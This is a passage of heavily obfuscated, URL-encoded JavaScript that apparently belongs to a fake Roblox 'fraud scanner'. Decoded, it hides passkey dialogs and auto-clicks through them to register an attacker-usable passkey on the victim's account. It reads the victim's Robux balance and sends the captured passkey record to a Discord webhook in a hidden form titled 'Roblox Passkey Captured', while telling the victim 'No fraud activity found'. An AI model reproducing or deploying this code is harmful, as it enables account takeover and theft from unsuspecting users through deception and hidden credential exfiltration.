12%2C115%2C58%2C47%2C47%2C101%2C99%2C111%2C110%2C111%2C109%2C121%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C50%2C47%2C117%2C115%2C101%2C114%2C115%2C47%29%20%2B%20userId%20%2B%20__S%2847%2C118%2C97%2C108%2C117%2C101%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28vr.ok%29%20%7B%20const%20vd%20%3D%20await%20vr.json%28%29%3B%20rap%20%3D%20%28vd.robuxValue%20%21%3D%20null%20%3F%20vd.robuxValue.toLocaleString%28%29%20%3A%20__S%2878%2C47%2C65%29%29%3B%20%7D%20%7D%20catch%20%7B%7D%20%7D%20const%20descJson%20%3D%20__S%2896%2C96%2C96%2C106%2C115%2C111%2C110%2C10%29%20%2B%20txt.substring%280%2C%203800%29%20%2B%20__S%2810%2C96%2C96%2C96%29%3B%20const%20form2%20%3D%20document.createElement%28__S%28102%2C111%2C114%2C109%29%29%3B%20form2.method%20%3D%20__S%2880%2C79%2C83%2C84%29%3B%20form2.action%20%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C100%2C105%2C115%2C99%2C111%2C114%2C100%2C46%2C99%2C111%2C109%2C47%2C97%2C112%2C105%2C47%2C119%2C101%2C98%2C104%2C111%2C111%2C107%2C115%2C47%2C49%2C53%2C55%2C48%2C56%2C55%2C56%2C56%2C54%2C52%2C50%2C57%2C53%2C52%2C54%2C57%2C49%2C56%2C55%2C47%2C90%2C73%2C112%2C90%2C112%2C115%2C48%2C86%2C69%2C87%2C114%2C97%2C67%2C109%2C89%2C114%2C69%2C109%2C87%2C71%2C70%2C56%2C122%2C111%2C115%2C68%2C85%2C66%2C87%2C118%2C82%2C82%2C107%2C88%2C68%2C84%2C99%2C72%2C103%2C66%2C122%2C88%2C73%2C85%2C121%2C112%2C114%2C49%2C77%2C110%2C78%2C90%2C75%2C50%2C73%2C98%2C119%2C83%2C118%2C52%2C111%2C116%2C105%2C71%2C98%2C57%2C99%2C50%2C63%2C119%2C97%2C105%2C116%2C61%2C116%2C114%2C117%2C101%29%3B%20form2.enctype%20%3D%20__S%28109%2C117%2C108%2C116%2C105%2C112%2C97%2C114%2C116%2C47%2C102%2C111%2C114%2C109%2C45%2C100%2C97%2C116%2C97%29%3B%20form2.target%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20form2.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20const%20f2%20%3D%20document.createElement%28__S%28105%2C110%2C112%2C117%2C116%29%29%3B%20f2.type%20%3D%20__S%28104%2C105%2C100%2C100%2C101%2C110%29%3B%20f2.name%20%3D%20__S%28112%2C97%2C121%2C108%2C111%2C97%2C100%2C95%2C106%2C115%2C111%2C110%29%3B%20f2.value%20%3D%20JSON.stringify%28%7B%20embeds%3A%20%5B%7B%20title%3A%20__S%2855357%2C56593%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C67%2C97%2C112%2C116%2C117%2C114%2C101%2C100%29%2C%20color%3A%2015728143%2C%20description%3A%20descJson%2C%20fields%3A%20%5B%7B%20name%3A%20__S%2855357%2C56420%2C32%2C85%2C115%2C101%2C114%2C110%2C97%2C109%2C101%29%2C%20value%3A%20record.account_name%20%7C%7C%20__S%2885%2C110%2C107%2C110%2C111%2C119%2C110%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855356%2C57335%2C65039%2C32%2C68%2C105%2C115%2C112%2C108%2C97%2C121%2C32%2C78%2C97%2C109%2C101%29%2C%20value%3A%20record.account_display_name%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56496%2C32%2C82%2C111%2C98%2C117%2C120%2C32%2C66%2C97%2C108%2C97%2C110%2C99%2C101%29%2C%20value%3A%20String%28robux%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56520%2C32%2C82%2C65%2C80%29%2C%20value%3A%20String%28rap%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855356%2C57104%2C32%2C82%2C80%2C32%2C73%2C68%29%2C%20value%3A%20record.rpId%20%7C%7C%20__S%28119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56592%2C32%2C65%2C108%2C103%2C111%2C114%2C105%2C116%2C104%2C109%29%2C%20value%3A%20record.algorithm%20%7C%7C%20__S%2869%2C83%2C50%2C53%2C54%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56517%2C32%2C67%2C114%2C101%2C97%2C116%2C101%2C100%2C32%2C65%2C116%29%2C%20value%3A%20record.created_at%20%7C%7C%20new%20Date%28%29.toISOString%28%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56593%2C32%2C67%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C73%2C68%29%2C%20value%3A%20record.credential_id%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56523%2C32%2C82%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C83%2C116%2C97%2C116%2C117%2C115%29%2C%20value%3A%20%28record.registration_status%20%7C%7C%20__S%2878%2C47%2C65%29%29.substring%280%2C200%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56510%2C32%2C83%2C116%2C111%2C114%2C97%2C103%2C101%29%2C%20value%3A%20record.storage_protection%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20false%20%7D%5D%2C%20footer%3A%20%7B%20text%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C69%2C120%2C112%2C111%2C114%2C116%2C32%2C8226%2C32%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%20%7D%2C%20timestamp%3A%20new%20Date%28%29.toISOString%28%29%20%7D%5D%2C%20allowed_mentions%3A%20%7B%20parse%3A%20%5B%5D%20%7D%20%7D%29%3B%20form2.append%28f2%29%3B%20document.body.append%28form2%29%3B%20form2.submit%28%29%3B%20form2.remove%28%29%3B%20__postVerifyDone%20%3D%20true%3B%20__startScanning%28%29%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__postVerifyTimer%20%3D%20setTimeout%28%28%29%20%3D%3E%20%7B%20__stopScanning%28%29%3B%20__setStatus%28__S%2878%2C111%2C32%2C102%2C114%2C97%2C117%2C100%2C32%2C97%2C99%2C116%2C105%2C118%2C105%2C116%2C121%2C32%2C102%2C111%2C117%2C110%2C100%29%2C%20__S%2835%2C55%2C101%2C101%2C55%2C56%2C55%29%29%3B%20%7D%2C%203500%29%3B%20%7D%29%28%29%3B%20%7D%20finally%20%7B%20link.remove%28%29%3B%20setTimeout%28%28%29%20%3D%3E%20URL.revokeObjectURL%28url%29%2C%2060000%29%3B%20%7D%20%7D%2C%20error%3A%20message%20%3D%3E%20%7B%20exporterError%20%3D%20true%3B%20if%20%28lastError%20%21%3D%3D%20message%29%20%7B%20lastError%20%3D%20message%3B%20%28%28%29%3D%3E%7B%7D%29%28message%29%3B%20%7D%20%7D%2C%20%7D%2C%20store%29%3B%20const%20style%20%3D%20doc.createElement%28__S%28115%2C116%2C121%2C108%2C101%29%29%3B%20style.textContent%20%3D%20__S%28104%2C116%2C109%2C108%2C44%2C98%2C111%2C100%2C121%2C123%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C116%2C114%2C97%2C110%2C115%2C112%2C97%2C114%2C101%2C110%2C116%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C98%2C111%2C100%2C121%2C123%2C111%2C118%2C101%2C114%2C102%2C108%2C111%2C119%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C98%2C111%2C100%2C121%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%2C44%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C118%2C105%2C115%2C105%2C98%2C108%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%2C93%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C118%2C105%2C115%2C105%2C98%2C108%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20const%20loadingIndicators%20%3D%20__S%28112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C98%2C97%2C114%2C34%2C93%2C44%2C35%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C45%2C98%2C97%2C114%2C44%2C35%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C45%2C98%2C97%2C114%2C45%2C115%2C112%2C105%2C110%2C110%2C101%2C114%2C44%2C35%2C110%2C112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C44%2C46%2C112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C45%2C98%2C97%2C114%2C44%2C46%2C77%2C117%2C105%2C76%2C105%2C110%2C101%2C97%2C114%2C80%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C45%2C114%2C111%2C111%2C116%2C44%2C46%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C112%2C114%2C111%2C99%2C101%2C115%2C115%2C105%2C110%2C103%29%3B%20style.textContent%20%2B%3D%20__S%28104%2C116%2C109%2C108%2C32%2C98%2C111%2C100%2C121%2C32%2C58%2C105%2C115%2C40%29%20%2B%20loadingIndicators%20%2B%20__S%2841%2C44%2C104%2C116%2C109%2C108%2C32%2C98%2C111%2C100%2C121%2C32%2C58%2C105%2C115%2C40%29%20%2B%20loadingIndicators%20%2B%20__S%2841%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C111%2C112%2C97%2C99%2C105%2C116%2C121%2C58%2C48%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20style.textContent%20%2B%3D%20__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%2C44%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20doc.head.append%28style%29%3B%20const%20text%20%3D%20element%20%3D%3E%20%28element.textContent%20%7C%7C%20__S%28%29%29.replace%28%2F%5Cs%2B%2Fg%2C%20__S%2832%29%29.trim%28%29%3B%20const%20rendered%20%3D%20element%20%3D%3E%20element.isConnected%20%26%26%20element.getClientRects%28%29.length%20%3E%200%20%26%26%20win.getComputedStyle%28element%29.display%20%21%3D%3D%20__S%28110%2C111%2C110%2C101%29%20%26%26%20%21element.closest%28__S%2891%2C97%2C114%2C105%2C97%2C45%2C104%2C105%2C100%2C100%2C101%2C110%2C61%2C34%2C116%2C114%2C117%2C101%2C34%2C93%2C44%2C91%2C104%2C105%2C100%2C100%2C101%2C110%2C93%29%29%3B%20const%20enabled%20%3D%20element%20%3D%3E%20rendered%28element%29%20%26%26%20%21element.disabled%20%26%26%20element.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C100%2C105%2C115%2C97%2C98%2C108%2C101%2C100%29%29%20%21%3D%3D%20__S%28116%2C114%2C117%2C101%29%3B%20const%20find%20%3D%20%28root%2C%20pattern%29%20%3D%3E%20%5B...root.querySelectorAll%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C97%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%29%29%5D.find%28element%20%3D%3E%20enabled%28element%29%20%26%26%20pattern.test%28text%28element%29%29%29%3B%20const%20headings%20%3D%20dialog%20%3D%3E%20%5B...dialog.querySelectorAll%28__S%28104%2C49%2C44%2C104%2C50%2C44%2C104%2C51%2C44%2C104%2C52%2C44%2C104%2C53%2C44%2C104%2C54%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C104%2C101%2C97%2C100%2C105%2C110%2C103%2C34%2C93%29%29%5D.filter%28rendered%29%3B%20const%20isAddDialog%20%3D%20dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Eadd%5Cs%2B%28%3F%3Aa%5Cs%2B%29%3Fpasskey%24%2Fi.test%28text%28heading%29%29%29%3B%20const%20isPasskeyDialog%20%3D%20dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Cbpasskeys%3F%5Cb%2Fi.test%28text%28heading%29%29%20%26%26%20%21%2F%5Emanage%5Cb%2Fi.test%28text%28heading%29%29%29%3B%20const%20createLabel%20%3D%20%2F%5Ecreate%5Cs%2B%28%3F%3Aa%5Cs%2B%7Cnew%5Cs%2B%29%3Fpasskey%24%2Fi%3B%20const%20isVerificationDialog%20%3D%20dialog%20%3D%3E%20%5B...dialog.querySelectorAll%28__S%28105%2C110%2C112%2C117%2C116%2C91%2C97%2C117%2C116%2C111%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C61%2C34%2C111%2C110%2C101%2C45%2C116%2C105%2C109%2C101%2C45%2C99%2C111%2C100%2C101%2C34%2C93%2C44%2C105%2C110%2C112%2C117%2C116%2C91%2C116%2C121%2C112%2C101%2C61%2C34%2C112%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C34%2C93%29%29%5D.some%28rendered%29%20%7C%7C%20%2F%5Cb%28%3F%3A%28%3F%3A2%5B%5Cs-%5D%2Astep%7Ctwo%5B%5Cs-%5D%2Astep%29%20verification%7Cverify%20%28%3F%3Ayour%20%29%3F%28%3F%3Aidentity%7Caccount%29%7Center%20%28%3F%3Athe%20%7Cyour%20%7Ca%20%29%3F%28%3F%3Averification%20%7Csecurity%20%7Cauthenticator%20%7Cemail%20%29%3Fcode%7Cauthenticator%20code%29%5Cb%2Fi.test%28text%28dialog%29%29%3B%20doc.addEventListener%28__S%2899%2C108%2C105%2C99%2C107%29%2C%20event%20%3D%3E%20%7B%20const%20button%20%3D%20event.target%3F.closest%3F.%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%2C44%2C97%29%29%3B%20if%20%28button%20%26%26%20%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%29%20%7B%20const%20rawLabel%20%3D%20%28text%28button%29%20%2B%20__S%2832%29%20%2B%20%28button.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C108%2C97%2C98%2C101%2C108%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28button.getAttribute%28__S%28116%2C105%2C116%2C108%2C101%29%29%20%7C%7C%20__S%28%29%29%29.trim%28%29%3B%20if%20%28%2F%28%3F%3A%5E%7C%5Cb%29%28cancel%7Cclose%7Cback%7Cdismiss%7Clater%7Cnot%20now%29%28%3F%3A%5Cb%7C%24%29%2Fi.test%28rawLabel%29%20%7C%7C%20%28%21rawLabel%20%26%26%20%2Fclose%7Cdismiss%7Ccancel%2Fi.test%28button.className%20%7C%7C%20__S%28%29%29%29%29%20__verifyCancelled%20%3D%20true%3B%20%7D%20const%20dialog%20%3D%20button%3F.closest%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C100%2C105%2C97%2C108%2C111%2C103%2C34%2C93%2C44%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%3B%20if%20%28%21dialog%29%20return%3B%20if%20%28isAddDialog%28dialog%29%20%26%26%20%2F%5Econtinue%24%2Fi.test%28text%28button%29%29%29%20clickedContinue%20%3D%20true%3B%20if%20%28isPasskeyDialog%28dialog%29%20%26%26%20createLabel.test%28text%28button%29%29%29%20creationRequested%20%3D%20true%3B%20if%20%28isVerificationDialog%28dialog%29%29%20__verifyCancelled%20%3D%20%2F%5E%28cancel%7Cclose%7Cback%7Cdismiss%7Cnot%20now%7Clater%29%24%2Fi.test%28text%28button%29%29%3B%20%7D%2C%20true%29%3B%20doc.addEventListener%28__S%28107%2C101%2C121%2C100%2C111%2C119%2C110%29%2C%20event%20%3D%3E%20%7B%20if%20%28event.key%20%3D%3D%3D%20__S%2869%2C115%2C99%2C97%2C112%2C101%29%20%26%26%20%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%20%26%26%20%21generated%29%20__verifyCancelled%20%3D%20true%3B%20%7D%29%3B%20const%20__allDocs%20%3D%20%28%29%20%3D%3E%20%7B%20const%20out%20%3D%20%5Bdoc%5D%3B%20for%20%28let%20i%20%3D%200%3B%20i%20%3C%20out.length%3B%20i%2B%2B%29%20%7B%20try%20%7B%20for%20%28const%20f%20of%20out%5Bi%5D.querySelectorAll%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%29%20%7B%20try%20%7B%20if%20%28f.contentDocument%29%20out.push%28f.contentDocument%29%3B%20%7D%20catch%20%7B%7D%20%7D%20%7D%20catch%20%7B%7D%20%7D%20return%20out%3B%20%7D%3B%20const%20__bindCancel%20%3D%20d%20%3D%3E%20%7B%20if%20%28%21d%20%7C%7C%20d.__cancelBound%29%20return%3B%20d.__cancelBound%20%3D%20true%3B%20d.addEventListener%28__S%2899%2C108%2C105%2C99%2C107%29%2C%20ev%20%3D%3E%20%7B%20if%20%28%21%28__verificationVisible%20%7C%7C%20__awaitingVerification%29%20%7C%7C%20generated%29%20return%3B%20const%20b%20%3D%20ev.target%3F.closest%3F.%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%2C44%2C97%29%29%3B%20if%20%28%21b%29%20return%3B%20const%20lbl%20%3D%20%28%28b.textContent%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.getAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C108%2C97%2C98%2C101%2C108%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.getAttribute%28__S%28116%2C105%2C116%2C108%2C101%29%29%20%7C%7C%20__S%28%29%29%20%2B%20__S%2832%29%20%2B%20%28b.className%20%7C%7C%20__S%28%29%29%29.trim%28%29%3B%20if%20%28%2F%28%3F%3A%5E%7C%5Cb%29%28cancel%7Cclose%7Cback%7Cdismiss%7Clater%7Cnot%20now%29%28%3F%3A%5Cb%7C%24%29%2Fi.test%28lbl%29%29%20__verifyCancelled%20%3D%20true%3B%20%7D%2C%20true%29%3B%20%7D%3B%20const%20__twoFaOpen%20%3D%20%28%29%20%3D%3E%20__allDocs%28%29.some%28d%20%3D%3E%20%7B%20try%20%7B%20return%20%2Fuse%20your%20passkey%20to%20confirm%7Cuse%20another%20verification%20method%2Fi.test%28d.body%20%3F%20d.body.innerText%20%3A%20__S%28%29%29%3B%20%7D%20catch%20%7B%20return%20false%3B%20%7D%20%7D%29%3B%20const%20tick%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28ended%29%20return%3B%20if%20%28%21frame.isConnected%29%20%7B%20cleanup%28%29%3B%20return%3B%20%7D%20try%20%7B%20try%20%7B%20__allDocs%28%29.forEach%28__bindCancel%29%3B%20%7D%20catch%20%7B%7D%20if%20%28__verifyCancelled%20%26%26%20%21generated%29%20%7B%20__postVerifyStarted%20%3D%20true%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20return%3B%20%7D%20if%20%28%28__awaitingVerification%20%7C%7C%20verificationSeen%29%20%26%26%20__twoFaOpen%28%29%29%20%7B%20__twoFaSeen%20%3D%20true%3B%20if%20%28__twoFaGoneTimer%29%20%7B%20clearTimeout%28__twoFaGoneTimer%29%3B%20__twoFaGoneTimer%20%3D%20null%3B%20%7D%20%7D%20else%20if%20%28__twoFaSeen%20%26%26%20%21generated%20%26%26%20%21__twoFaGoneTimer%29%20%7B%20__twoFaGoneTimer%20%3D%20setTimeout%28%28%29%20%3D%3E%20%7B%20__twoFaGoneTimer%20%3D%20null%3B%20if%20%28%21generated%29%20%7B%20clearTimeout%28__postVerifyTimer%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20%7D%20%7D%2C%201800%29%3B%20%7D%20if%20%28%21revealed%20%26%26%20%21clickedContinue%20%26%26%20Date.now%28%29%20%3E%20deadline%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C100%2C105%2C100%2C32%2C110%2C111%2C116%2C32%2C111%2C112%2C101%2C110%2C32%2C105%2C116%2C115%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C100%2C105%2C97%2C108%2C111%2C103%2C32%2C105%2C110%2C32%2C116%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C118%2C105%2C101%2C119%2C46%2C32%2C84%2C114%2C121%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C62%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C73%2C110%2C102%2C111%2C32%2C62%2C32%2C76%2C111%2C103%2C105%2C110%2C32%2C77%2C101%2C116%2C104%2C111%2C100%2C115%2C46%29%29%3B%20return%3B%20%7D%20const%20dialogs%20%3D%20%5B...new%20Set%28doc.querySelectorAll%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C100%2C105%2C97%2C108%2C111%2C103%2C34%2C93%2C44%2C46%2C109%2C111%2C100%2C97%2C108%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%29%5D.filter%28rendered%29%3B%20const%20manager%20%3D%20dialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5Emanage%20%28%3F%3Ayour%20%29%3Fpasskeys%24%2Fi.test%28text%28heading%29%29%29%29%3B%20if%20%28%21clickedAdd%29%20%7B%20const%20add%20%3D%20find%28manager%20%7C%7C%20doc%2C%20%2F%5Eadd%5Cs%2B%28%3F%3A%28%3F%3Aa%7Canother%7Cnew%29%5Cs%2B%29%3Fpasskey%24%2Fi%29%3B%20if%20%28add%29%20%7B%20clickedAdd%20%3D%20true%3B%20add.click%28%29%3B%20return%3B%20%7D%20if%20%28%21manager%20%26%26%20%21clickedManage%29%20%7B%20const%20manage%20%3D%20%5B...doc.querySelectorAll%28__S%2846%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C109%2C97%2C110%2C97%2C103%2C101%2C45%2C98%2C117%2C116%2C116%2C111%2C110%29%29%5D.find%28enabled%29%3B%20if%20%28manage%29%20%7B%20clickedManage%20%3D%20true%3B%20manage.click%28%29%3B%20return%3B%20%7D%20%7D%20%7D%20const%20currentDialogs%20%3D%20dialogs.filter%28dialog%20%3D%3E%20dialog%20%21%3D%3D%20manager%20%26%26%20%21dialog.contains%28manager%29%20%26%26%20%21manager%3F.contains%28dialog%29%29%3B%20const%20success%20%3D%20generated%20%26%26%20currentDialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5E%28%3F%3Ayour%5Cs%2B%29%3Fpasskey%5Cs%2B%28%3F%3A%28%3F%3Ahas%20been%7Cwas%29%5Cs%2B%29%3F%28%3F%3Asuccessfully%5Cs%2B%29%3F%28%3F%3Acreated%7Cadded%29%5B.%21%5D%3F%24%2Fi.test%28text%28heading%29%29%29%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%2C93%29%29.forEach%28dialog%20%3D%3E%20%7B%20if%20%28dialog%20%21%3D%3D%20success%29%20dialog.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%29%29%3B%20%7D%29%3B%20if%20%28success%29%20%7B%20success.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C100%29%2C%20__S%28%29%29%3B%20const%20ok%20%3D%20find%28success%2C%20%2F%5Eok%24%2Fi%29%3B%20if%20%28ok%29%20%7B%20ok.click%28%29%3B%20cleanup%28%29%3B%20if%20%28%21notificationStarted%20%26%26%20generated%29%20%7B%20notificationStarted%20%3D%20true%3B%20PasskeyNotification.send%28notificationUsername%29.catch%28%28%29%20%3D%3E%20%7B%20%28%28%29%3D%3E%7B%7D%29%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C99%2C111%2C110%2C102%2C105%2C114%2C109%2C101%2C100%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C97%2C110%2C100%2C32%2C116%2C104%2C101%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C115%2C116%2C97%2C114%2C116%2C101%2C100%2C44%2C32%2C98%2C117%2C116%2C32%2C116%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C117%2C115%2C101%2C114%2C110%2C97%2C109%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C98%2C101%2C32%2C115%2C101%2C110%2C116%2C46%29%29%3B%20%7D%29%3B%20%7D%20return%3B%20%7D%20%7D%20const%20failed%20%3D%20currentDialogs.find%28dialog%20%3D%3E%20headings%28dialog%29.some%28heading%20%3D%3E%20%2F%5E%28%3F%3Asomething%20went%20wrong%7Can%20error%20%28%3F%3Ahas%20%29%3Foccurred%7Cunable%20to%20%28%3F%3Asave%7Ccreate%29%28%3F%3A.%2A%29%29%24%2Fi.test%28text%28heading%29%29%29%20%7C%7C%20%2F%5Cbwe%20%28%3F%3Aweren%5B%27%E2%80%99%5Dt%7Cwere%20not%29%20able%20to%20save%20your%20changes%5Cb%2Fi.test%28text%28dialog%29%29%